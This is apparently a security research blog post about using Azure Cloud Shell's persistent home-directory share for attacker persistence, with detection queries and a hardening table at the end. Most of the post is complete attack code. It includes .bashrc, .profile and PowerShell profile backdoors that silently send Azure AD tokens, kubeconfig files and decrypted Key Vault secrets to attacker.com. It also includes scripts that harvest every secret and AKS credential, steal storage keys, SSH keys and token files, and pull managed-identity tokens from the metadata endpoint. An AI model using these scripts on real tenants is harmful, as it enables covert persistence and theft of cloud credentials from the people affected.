TL;DR — Azure Cloud Shell containers are ephemeral but their backing Azure Files share persists indefinitely — an attacker with write access to the storage account can plant backdoors in.bashrcor.profilethat execute every time the victim opens Cloud Shell, harvesting freshly-issued Azure AD tokens on each session. The combination of persistent storage, automatic Azure AD authentication, and the breadth of tools (az CLI, kubectl, PowerShell) makes Cloud Shell a high-value persistence target that is largely invisible to traditional endpoint detection.
Executive Summary
Azure Cloud Shell is a browser-based terminal that provides authenticated access to Azure resources from any device. From the user's perspective, it is a convenience feature — a shell that is always available, pre-authenticated, and pre-loaded with every Azure management tool. From an attacker's perspective, it is a persistence mechanism with automatic credential refresh, a privileged execution environment, and a storage layer that survives container recreation.
The architecture creates a unique persistence opportunity. Cloud Shell containers are ephemeral — they are destroyed and recreated on every session. However, the user's home directory is backed by an Azure Files share mounted into the container at session start. Any files written to the home directory, including shell initialization files like .bashrc, .profile, and the PowerShell $PROFILE, persist across container lifecycles. An attacker who plants a malicious script in these files gains code execution on every subsequent Cloud Shell session the victim opens, in an environment where the victim's full Azure identity is automatically available.
This attack vector sits at the intersection of several security blind spots: Azure AD identity events do not include Cloud Shell command execution by default; the Azure Files storage account is often not monitored at the file level; and Cloud Shell's browser-based nature means traditional EDR tools deployed on user endpoints do not observe activity inside the container.
This post provides a technical deep-dive into the Cloud Shell architecture, the persistence mechanisms available to an attacker, credential harvesting techniques, cross-tenant attack paths, and the detection strategies needed to identify malicious Cloud Shell activity.
Azure Cloud Shell Architecture
Container Lifecycle and Persistent Storage
flowchart TD
A[User opens portal.azure.com] -->|Authenticates via Azure AD| B[Azure Cloud Shell Request]
B --> C[Container Provisioner]
C --> D[New ephemeral container created]
D --> E[Azure Files Share mounted as /home/user]
E --> F[Container destroyed after 20min idle]
F -->|Next session| D
subgraph Persistent["Persistent Azure Files Share"]
G[~/.bashrc]
H[~/.profile]
I[~/.azure/ - cached tokens]
J[~/.kube/config]
K[~/.ssh/ - private keys]
L[Scripts and tools]
end
E -.->|Mounts| Persistent
D -->|Ephemeral inside container| M[OS files, binaries, temp data]
subgraph AttackPersistence["Attacker Persistence"]
N[Backdoor in .bashrc]
O[Token harvester in .profile]
P[Malicious PowerShell PSProfile]
end
G -.->|Executes on shell start| N
H -.->|Executes on login shell| O
style N fill:#ff4444,color:#fff
style O fill:#ff4444,color:#fff
style P fill:#ff4444,color:#fffStorage Account Structure
Each Cloud Shell user has an Azure Storage Account containing a File Share named cloudshell mounted at /home/user inside the container:
Storage Account: cs-[user-oid]-[timestamp]└── File Share: cloudshell (50 GB default) ├── .bashrc # Shell initialization — executes on every bash session ├── .profile # Login shell initialization ├── .bash_history # Command history (forensics treasure) ├── .azure/ │ ├── credentials # Service principal credentials (if configured) │ ├── accessTokens.json # Cached Azure AD access tokens │ └── clouds.config # Azure environment configuration ├── .kube/ │ └── config # Kubernetes cluster credentials ├── .ssh/ │ ├── id_rsa # SSH private keys │ └── authorized_keys # SSH authorized keys └── clouddrive/ # Additional mounted storageCloud Shell as a Persistence Mechanism
Backdooring .bashrc
The most effective persistence technique is modifying the .bashrc file in the persistent Azure Files share. This file executes on every non-login interactive bash shell, meaning it runs each time the victim opens Cloud Shell:
#!/bin/bash# Attacker plants this in the victim's ~/.bashrc# (requires write access to the Azure Files share) # --- LEGITIMATE CONTENT (preserve to avoid detection) ---# Source the original bashrc if it exists elsewhere# [ -f /etc/bashrc ] && . /etc/bashrc # export PS1='[Azure Cloud Shell] \u@\h:\w\$ '# --- END LEGITIMATE CONTENT --- # --- MALICIOUS PERSISTENCE PAYLOAD ---# Execute silently in background — no visible output to victim( # Wait for Azure CLI to initialize (credentials become available ~2-3 seconds after shell start) sleep 3 # Extract the current Azure AD access token # This token has the victim's full Azure permissions ACCESS_TOKEN=$(az account get-access-token --query accessToken -o tsv 2>/dev/null) if [ -n "$ACCESS_TOKEN" ]; then # Decode and inspect the token SUBSCRIPTION=$(az account show --query id -o tsv 2>/dev/null) TENANT=$(az account show --query tenantId -o tsv 2>/dev/null) UPN=$(az account show --query user.name -o tsv 2>/dev/null) # Exfiltrate token to attacker's C2 curl -s -X POST "https://attacker.com/c2/token" \ -H "Content-Type: application/json" \ -d "{ \"token\": \"$ACCESS_TOKEN\", \"subscription\": \"$SUBSCRIPTION\", \"tenant\": \"$TENANT\", \"upn\": \"$UPN\", \"timestamp\": \"$(date -u +%Y-%m-%dT%H:%M:%SZ)\" }" \ --connect-timeout 5 \ --max-time 10 \ 2>/dev/null # Also collect kubeconfig if available (often contains cluster admin tokens) if [ -f ~/.kube/config ]; then KUBECONFIG_B64=$(base64 -w0 ~/.kube/config 2>/dev/null) curl -s -X POST "https://attacker.com/c2/kubeconfig" \ -d "data=$KUBECONFIG_B64" \ --connect-timeout 5 2>/dev/null fi fi) &# The & ensures the backdoor runs in background — shell prompt appears immediately.profile Backdoor for Login Shells
For PowerShell Cloud Shell sessions or non-interactive executions, a .profile backdoor provides additional coverage:
# ~/.profile backdoor — executes on login shells# More persistent than .bashrc for certain Cloud Shell configurations export AZURE_BACKDOOR_INSTALLED=1 # Harvest credentials file if it existsif [ -f ~/.azure/accessTokens.json ]; then curl -s "https://attacker.com/c2/tokens-file" \ --data-binary @~/.azure/accessTokens.json \ --connect-timeout 5 2>/dev/null &fi # Install a cron job for timed exfiltration (if cron is available in the container)# Note: cron is not persistent across container recreations, but .bashrc will reinstall it(crontab -l 2>/dev/null; echo "*/15 * * * * az account get-access-token 2>/dev/null | curl -s -X POST attacker.com/c2/cron -d @- 2>/dev/null") | crontab - 2>/dev/nullCredential Harvesting from Cloud Shell
Extracting Azure AD Tokens
Cloud Shell's primary value to an attacker is automatic Azure AD authentication. Every Cloud Shell session starts with the user's identity available via az, and access tokens are obtainable programmatically:
#!/bin/bash# Comprehensive credential harvesting script for Cloud Shell environments echo "[*] Azure Cloud Shell Credential Harvester"echo "[*] Running as: $(az account show --query user.name -o tsv 2>/dev/null)" # 1. Get the primary access tokenACCESS_TOKEN=$(az account get-access-token \ --resource https://management.azure.com/ \ --query accessToken -o tsv 2>/dev/null)echo "[+] Management API token: ${ACCESS_TOKEN:0:50}..." # 2. Get tokens for other resources (Graph, Key Vault, Storage)GRAPH_TOKEN=$(az account get-access-token \ --resource https://graph.microsoft.com/ \ --query accessToken -o tsv 2>/dev/null)echo "[+] Graph API token obtained" KEYVAULT_TOKEN=$(az account get-access-token \ --resource https://vault.azure.net/ \ --query accessToken -o tsv 2>/dev/null)echo "[+] Key Vault token obtained" # 3. List all accessible subscriptionsecho "[*] Accessible subscriptions:"az account list --query '[].{Name:name, ID:id, State:state}' -o table 2>/dev/null # 4. Enumerate high-value resourcesecho "[*] Enumerating Key Vaults..."az keyvault list --query '[].{Name:name, URI:properties.vaultUri}' -o table 2>/dev/null # 5. Dump secrets from accessible Key Vaultsaz keyvault list -o tsv --query '[].name' 2>/dev/null | while read vault; do echo "[*] Dumping secrets from: $vault" az keyvault secret list --vault-name "$vault" -o tsv --query '[].name' 2>/dev/null | \ while read secret_name; do secret_value=$(az keyvault secret show \ --vault-name "$vault" \ --name "$secret_name" \ --query value -o tsv 2>/dev/null) echo " $vault/$secret_name = $secret_value" donedone # 6. Collect kubeconfig files for all AKS clustersaz aks list --query '[].{Name:name, RG:resourceGroup}' -o tsv 2>/dev/null | \while read cluster rg; do az aks get-credentials \ --name "$cluster" \ --resource-group "$rg" \ --overwrite-existing 2>/dev/null echo "[+] AKS credentials saved for: $cluster"done # 7. Exfiltrate everythingtar -czf /tmp/cloud_shell_harvest.tar.gz \ ~/.azure/ ~/.kube/ ~/.ssh/ 2>/dev/null curl -s -X POST "https://attacker.com/c2/harvest" \ --data-binary @/tmp/cloud_shell_harvest.tar.gzStorage Account Exfiltration Path
Accessing the Cloud Shell Storage Account
The Cloud Shell Azure Files share is backed by an Azure Storage Account in the user's subscription. An attacker with the storage account key or a storage access token can mount the share and directly read all persistent files:
#!/bin/bash# Accessing Cloud Shell persistent storage from outside the Cloud Shell container STORAGE_ACCOUNT_NAME="cs-victim-storage-account"SHARE_NAME="cloudshell"RESOURCE_GROUP="cloud-shell-storage-rg"SUBSCRIPTION_ID="00000000-0000-0000-0000-000000000000" # Method 1: Using a stolen/generated storage account keySTORAGE_KEY=$(az storage account keys list \ --account-name "$STORAGE_ACCOUNT_NAME" \ --resource-group "$RESOURCE_GROUP" \ --query '[0].value' -o tsv 2>/dev/null) echo "[+] Storage key obtained: ${STORAGE_KEY:0:20}..." # List all files in the Cloud Shell shareaz storage file list \ --account-name "$STORAGE_ACCOUNT_NAME" \ --account-key "$STORAGE_KEY" \ --share-name "$SHARE_NAME" \ --output table # Download sensitive filesFILES_TO_STEAL=( ".bashrc" ".bash_history" ".azure/accessTokens.json" ".azure/credentials" ".kube/config" ".ssh/id_rsa" ".ssh/id_ed25519") for file in "${FILES_TO_STEAL[@]}"; do az storage file download \ --account-name "$STORAGE_ACCOUNT_NAME" \ --account-key "$STORAGE_KEY" \ --share-name "$SHARE_NAME" \ --path "$file" \ --dest "/tmp/stolen_$(basename $file)" 2>/dev/null && \ echo "[+] Downloaded: $file" || \ echo "[-] Not found: $file"done # Method 2: Mount the share on LinuxMOUNT_DIR="/tmp/victim-cloudshell"mkdir -p "$MOUNT_DIR" # Mount using CIFS/SMBmount -t cifs \ "//${STORAGE_ACCOUNT_NAME}.file.core.windows.net/${SHARE_NAME}" \ "$MOUNT_DIR" \ -o "vers=3.0,username=${STORAGE_ACCOUNT_NAME},password=${STORAGE_KEY},serverino" 2>/dev/null echo "[+] Cloud Shell share mounted at $MOUNT_DIR"ls -la "$MOUNT_DIR"Cross-Tenant Attacks via Cloud Shell Files
Harvesting Hardcoded Credentials from Scripts
Cloud Shell is used by administrators who manage multiple Azure tenants and subscriptions. Their scripts frequently contain hardcoded credentials:
#!/bin/bash# Harvest cross-tenant credentials from Cloud Shell script files CLOUDSHELL_MOUNT="/tmp/victim-cloudshell" # Search for hardcoded credentials in all script filesecho "[*] Scanning for credentials in shell scripts..." grep -rE \ --include="*.sh" --include="*.py" --include="*.ps1" --include="*.json" \ -e "client.?secret\s*=\s*['\"][^'\"]{8}" \ -e "password\s*=\s*['\"][^'\"]{8}" \ -e "ACCESS_KEY\s*=\s*['\"][A-Z0-9]{20}" \ -e "secret.?key\s*=\s*['\"][^'\"]{40}" \ -e "AZURE_CLIENT_SECRET\s*=\s*['\"][^'\"]{30}" \ -e "sqlcmd.*-P\s+\S+" \ "$CLOUDSHELL_MOUNT" 2>/dev/null | \ grep -v ".bash_history" # Parse .azure/clouds.config for multi-tenant service principalsif [ -f "$CLOUDSHELL_MOUNT/.azure/credentials" ]; then echo "[+] Found az CLI service principal credentials:" cat "$CLOUDSHELL_MOUNT/.azure/credentials"fi # Extract tenant IDs from az CLI profiles (reveals managed tenants)if [ -f "$CLOUDSHELL_MOUNT/.azure/profile" ]; then python3 -c "import jsonwith open('$CLOUDSHELL_MOUNT/.azure/profile') as f: profile = json.load(f)tenants = set()for sub in profile.get('subscriptions', []): tenants.add(sub.get('tenantId')) print(f\"Sub: {sub['name']} | Tenant: {sub['tenantId']}\")print(f'\\n[+] Total tenants accessible: {len(tenants)}')"fiManaged Identity from Cloud Shell Container
Instance Metadata Service Access
The Azure Cloud Shell container may have access to the instance metadata service, which can provide Managed Identity tokens if the underlying infrastructure has one assigned:
#!/bin/bash# Probe for Managed Identity from inside Cloud Shell container METADATA_ENDPOINT="http://169.254.169.254/metadata" # 1. Check if metadata service is accessible (it often is from Cloud Shell)if curl -s -f -H "Metadata: true" \ "${METADATA_ENDPOINT}/instance?api-version=2021-02-01" \ --connect-timeout 3 > /dev/null 2>&1; then echo "[+] Instance metadata service accessible!" # Get instance information curl -sS -H "Metadata: true" \ "${METADATA_ENDPOINT}/instance?api-version=2021-02-01" | \ python3 -m json.tool # Get Managed Identity token (if assigned to the underlying infrastructure) MI_TOKEN=$(curl -sS -H "Metadata: true" \ "${METADATA_ENDPOINT}/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \ | python3 -c "import sys,json; print(json.load(sys.stdin).get('access_token',''))") if [ -n "$MI_TOKEN" ]; then echo "[+] Managed Identity token obtained!" echo "[+] Token: ${MI_TOKEN:0:50}..." # Use the MI token to enumerate resources curl -sS "https://management.azure.com/subscriptions?api-version=2020-01-01" \ -H "Authorization: Bearer $MI_TOKEN" | python3 -m json.tool else echo "[-] No Managed Identity attached" fielse echo "[-] Instance metadata service not accessible from this container"fiPowerShell Cloud Shell Variant
PSProfile Persistence
The PowerShell variant of Cloud Shell has its own persistence mechanism via the PowerShell profile file:
# Attacker plants this in ~/.config/PowerShell/Microsoft.PowerShell_profile.ps1# (or ~/clouddrive/.config/PowerShell/Microsoft.PowerShell_profile.ps1)# This executes automatically when any PowerShell Cloud Shell session starts # Silently harvest Azure credentials in backgroundStart-Job -ScriptBlock { Start-Sleep -Seconds 3 try { # Get Azure access token using the authenticated context $token = (Get-AzAccessToken -ResourceUrl "https://management.azure.com/").Token $subscription = (Get-AzContext).Subscription.Id $account = (Get-AzContext).Account.Id $tenant = (Get-AzContext).Tenant.Id $payload = @{ token = $token subscription = $subscription account = $account tenant = $tenant timestamp = (Get-Date -Format "o") } | ConvertTo-Json # Exfiltrate Invoke-RestMethod -Uri "https://attacker.com/c2/ps-token" ` -Method POST ` -Body $payload ` -ContentType "application/json" ` -ErrorAction SilentlyContinue # Also grab Key Vault secrets Get-AzKeyVault | ForEach-Object { $vaultName = $_.VaultName Get-AzKeyVaultSecret -VaultName $vaultName | ForEach-Object { $secretValue = (Get-AzKeyVaultSecret -VaultName $vaultName -Name $_.Name).SecretValue $plain = [Runtime.InteropServices.Marshal]::PtrToStringAuto( [Runtime.InteropServices.Marshal]::SecureStringToBSTR($secretValue) ) "$vaultName/$($_.Name) = $plain" } } | Invoke-RestMethod -Uri "https://attacker.com/c2/kv-secrets" -Method POST -ErrorAction SilentlyContinue } catch { # Silent failure — do not alert victim }} | Out-Null # Hide job output from terminalDetection and Monitoring
Azure Monitor Queries for Cloud Shell Attacks
# KQL queries for Azure Monitor / Log Analytics # Query 1: Detect unusual file writes to Cloud Shell storage# StorageBlobLogs | StorageFileLogs# Look for write operations to .bashrc, .profile, or PSProfile paths-- KQL: Cloud Shell storage write anomaly detectionStorageFileLogs| where TimeGenerated > ago(24h)| where OperationName in ("CreateFile", "PutRange", "PutFile")| where Uri has "cloudshell"| where Uri has_any (".bashrc", ".profile", "Microsoft.PowerShell_profile", ".ssh/")| project TimeGenerated, CallerIpAddress, Uri, OperationName, StatusCode| order by TimeGenerated desc -- KQL: Cloud Shell token generation volumeAzureDiagnostics| where TimeGenerated > ago(1h)| where Category == "AuditEvent"| where ResourceProvider == "MICROSOFT.CLOUDSHELL"| summarize count() by identity_s, bin(TimeGenerated, 5m)| where count_ > 20 -- Alert on high-frequency token requests -- KQL: Unusual Cloud Shell command patternsAzureActivity| where TimeGenerated > ago(24h)| where ResourceProviderValue == "Microsoft.CloudShell"| where OperationNameValue contains "putStorage"| project TimeGenerated, Caller, CallerIpAddress, OperationNameValueDetection and Hardening Summary
| Attack Vector | Detection Method | Hardening Control |
|---|---|---|
.bashrc backdoor | Storage file write alerts to .bashrc path | Require MFA re-auth for Cloud Shell; monitor file writes |
| Token harvesting | Alert on high-volume az account get-access-token calls | Short-lived tokens; Conditional Access for Cloud Shell |
| Storage account key theft | Storage key access audit logs | Use SAS tokens with restricted permissions; disable key access |
| Managed Identity abuse | MI token issuance from unexpected source | Don't attach broad MIs to Cloud Shell infrastructure |
| PSProfile persistence | Monitor writes to PowerShell profile paths | Read-only profile in enterprise environments |
| Cross-tenant credential exposure | DLP scanning on Cloud Shell storage | Prohibit hardcoded credentials in scripts; scan with Defender for DevOps |
MITRE ATT&CK Mapping
| Technique ID | Technique Name | Application in Azure Cloud Shell Attacks |
|---|---|---|
| T1098 | Account Manipulation | Backdoors in .bashrc/PSProfile provide persistent code execution tied to victim's Azure AD identity |
| T1552 | Unsecured Credentials | Harvesting cached Azure AD tokens from ~/.azure/, SSH keys, kubeconfig, and hardcoded secrets in scripts |
| T1552.005 | Cloud Instance Metadata API | Accessing Azure IMDS at 169.254.169.254 from inside the Cloud Shell container for Managed Identity tokens |
| T1119 | Automated Collection | Automated scripts that enumerate Key Vault secrets, AKS credentials, and storage contents on each session |
| T1070.003 | Indicator Removal: Clear Command History | Clearing .bash_history after credential exfiltration to remove evidence |
| T1539 | Steal Web Session Cookie | Azure AD tokens obtained from Cloud Shell are functionally equivalent to web session cookies for the Management API |
| T1078.004 | Valid Accounts: Cloud Accounts | All Cloud Shell attacks use the victim's legitimate Azure AD identity — no new accounts or service principals needed |
| T1560.001 | Archive Collected Data: Archive via Utility | Archiving harvested credentials with tar/zip before exfiltration from Cloud Shell |
Conclusion
Azure Cloud Shell occupies a dangerous middle ground in cloud security: it is granted broad access because it runs as the authenticated user, it is trusted because it operates within the Azure portal, and it is largely unmonitored because it resembles a convenience feature rather than an attack surface. The combination of persistent storage, automatic credential availability, and the absence of traditional EDR coverage makes it an ideal persistence mechanism for attackers who have achieved initial access to a user's account.
The .bashrc/PSProfile persistence technique is particularly powerful because it requires only a one-time write to the Azure Files share to establish indefinite persistence. Every subsequent Cloud Shell session the victim opens will re-execute the backdoor, providing fresh access tokens without any additional attacker action. Even if the victim's Azure AD password is reset, the backdoor remains in the persistent storage until explicitly cleaned up.
Defenders must treat Cloud Shell's backing storage account as a critical security boundary, monitoring it with the same diligence applied to production infrastructure. Azure Storage audit logs, combined with file-level anomaly detection for modifications to shell initialization files, provide the visibility needed to detect this attack class. Additionally, Conditional Access policies should consider whether Cloud Shell access requires Privileged Identity Management (PIM) activation for sensitive subscriptions, limiting the window during which a compromised Cloud Shell session can cause damage.